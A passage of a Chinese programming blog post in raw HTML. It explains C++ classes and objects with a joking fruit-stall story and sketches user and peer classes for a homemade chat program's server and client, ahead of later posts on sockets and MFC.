2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">为了自编一个聊天程序，我们先考虑一下每一个聊天个体在程序中是个什么存在形式。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">一个个体（这里把一个参与聊天的个体成为一个对象）有多个属性，比如他的昵称、他的ID、他的IP地址和端口等，这些属性都属于同一个对象；对于每个人，他和别的人都可能产生对话，那么这些对话都是需要保存的，否则你切换一个聊天对象，之前对象的聊天内容都不在了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">为了给所有对象一个唯一且易查找的标志，ID属性是必要的，而且最好用无符号整数来表示。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">C++是面向对象的语言，对象是什么？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">好吧，你该反思为什么你现在还没对象了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">类是对象的抽象。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">有个故事是一个人去水果摊买水果，姑且叫他琪琪。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">琪琪：我买水果</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">店家：什么水果？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">琪琪：我买水果。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">店家：拿，香蕉。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">琪琪：我要水果。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">店家：（手拿梨子）给。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">琪琪：我要水果。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">店家觉得这货太装逼了，一把刀砍死了琪琪。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&nbsp;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">从这个故事我们可以看出类和对象的关系，故事中有一个水果类CFruit：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">class CFruit</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">{</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CString Name;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CColor Color;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CTaste Taste;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CFruit(CString Name);</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">};</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">前三行中的CString、CColor、CTaste都是类型名，它们前面的&ldquo;C&rdquo;是Class的意思，表示这个类型是一个类（区别于int这些基础类型）；跟在它们后面的是对应类型的变量Name、Color、Taste，而它们在CFruit类中就叫CFruit类的成员变量。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">最后一行的与类名同名的一个函数，没有返回值，参数根据需要可有可无。它叫做这个类的构造函数，每新建一个该类的对象就会显式或隐式地调用这个函数。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">显式像这样：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CFruit *Apple=new CFruit(&quot;苹果&quot;);</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">或者这样：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CFruit Apple=*(new CFruit(&quot;苹果&quot;));</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">任何类的对象都可以用new来新建，它的返回值是该对象的指针。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">前者用的是传指针的方法来获得生成的对象</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">后者是用的传值的方法来复制了一个新生成的对象。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">所以琪琪应该说&ldquo;我要买名叫XX的水果&rdquo;。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">我们在操作系统中也不能要水果，一定要指明要什么样的水果。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">不过水果是什么，还得我们告诉操作系统。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">这是哲学么？</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">好了，类就说到这里。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">考虑服务程序端，一个聊天对象可以定义为这样的一个类：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">class CUser</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">{</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">unsigned int UserID;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CString NickName;//CString 是C++中的一个类，它集成了关于字符串的很多属性以及操作。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CString ClientIP;用例如&ldquo;113.54.141.250&rdquo;的字符串形式保存客户端IP</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">int ClientPort;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CUser(int userid,CString nickname);//构造函数，在构造的时候就为该对象赋值。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">};</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">如果聊天记录保存在客户端，那么服务端知道这些信息就够了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">服务端会利用这个类为每个聊天个体构造一个对象，从而保存下所有聊天个体的必要信息。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">对于客户端，定义这样一个类：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">class CPeer</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">{</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">unsigned int PeerID;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CString NickName;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">CString Dialog;//保存与该类的对象的聊天记录。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">};</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">差不多就这样了。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">然后预告一下下期节目：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">1.socket网络编程。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">2.我们用MFC编写windows平台的可视化程序。</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">SDK：Visual Studio 2010</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">语言：C/C++</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">&nbsp;</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">服务端的属性与工作：</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px">服务端需要一个固定的公网IP和端口；</p><p style="white-space: normal; text-transform: none; word-spacing: 0px; color: rgb(51,51,51); padding-bottom: 0px; padding-top: 0px; font: 14px/1.4em Tahoma, Verdana, STHeiTi, simsun, sans-serif; padding-left: 0px; margin: 0px 0px 20px; orphans: 2; widows: 2; letter-spacing: normal; padding-right: 0px; background-color: rgb(255,255,255); text-indent: 0px; -webkit-text-size-adjust: 